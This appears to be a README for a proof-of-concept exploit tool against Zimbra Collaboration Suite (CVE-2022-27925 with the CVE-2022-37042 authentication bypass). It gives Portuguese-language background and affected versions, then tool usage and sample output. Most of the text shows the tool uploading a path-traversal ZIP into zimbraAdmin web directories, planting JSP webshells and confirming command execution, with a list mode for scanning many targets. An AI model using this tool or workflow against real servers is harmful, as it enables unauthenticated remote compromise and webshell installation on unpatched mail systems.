
PoC
Em 10 de maio de 2022, a Zimbra lançou as versões 9.0.0 patch 24 e 8.8.15 patch 31 para corrigir múltiplas vulnerabilidades no Zimbra Collaboration Suite, incluindo CVE-2022-27924 (sobre a qual escrevemos anteriormente) e CVE-2022-27925.
Originalmente, a Zimbra classificou a CVE-2022-27925 como um ataque de path-traversal autenticado, no qual um usuário administrativo poderia gravar arquivos em qualquer diretório do sistema de arquivos como a conta Zimbra. Por ter sido inicialmente considerada um ataque exclusivo de administradores, a NVD atribuiu a ela uma pontuação base CVSS de 7.8. Mais tarde, a Volexity percebeu que atacantes explorando esta vulnerabilidade haviam encontrado uma forma de contornar os requisitos administrativos e escreveu sobre isso em 10 de agosto de 2022. Esse novo bypass de autenticação recebeu um novo identificador – CVE-2022-37042.
Ao combinar a vulnerabilidade original de path-traversal com o novo bypass de autenticação, atacantes podem comprometer remotamente um sistema Zimbra Collaboration Suite por meio da porta administrativa (por padrão, 7071) anonimamente. Combinadas com uma vulnerabilidade de escalonamento de privilégios atualmente sem patch sobre a qual escrevemos recentemente e para a qual criamos um exploit, essas três vulnerabilidades levam à execução remota de comandos como usuário root em sistemas sem patch.
Embora os advisories públicos não mencionem isso, de acordo com nossa análise, o Zimbra Collaboration Suite Network Edition (a edição paga) é vulnerável, e a Open Source Edition (gratuita) não é (já que não possui o endpoint mboximport vulnerável). As versões vulneráveis são:
Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (e anteriores)
Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (e anteriores)
Essas vulnerabilidades (e outras no Zimbra) estão sendo alvo de exploração generalizada em ambientes reais e, portanto, devem ser corrigidas ou colocadas offline o mais rápido possível. Se você suspeitar que foi comprometido, a Zimbra fornece etapas para reconstruir seu servidor Zimbra Collaboration Suite do zero com o patch mais recente sem perder dados.
Fonte: https://attackerkb.com/topics/dSu4KGZiFd/cve-2022-27925/rapid7-analysis
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
usage: exploit.py [-h] [-t TARGET] [-l LIST]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
URl with protocol HTTPS
-l LIST, --list LIST List of targets
root@root# python exploit.py -t zimbra.example.com
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925 Sanan Qasim
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/BQOQBN.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
root@root# python exploit.py -l targets.txt
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925 sanan Qasim
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable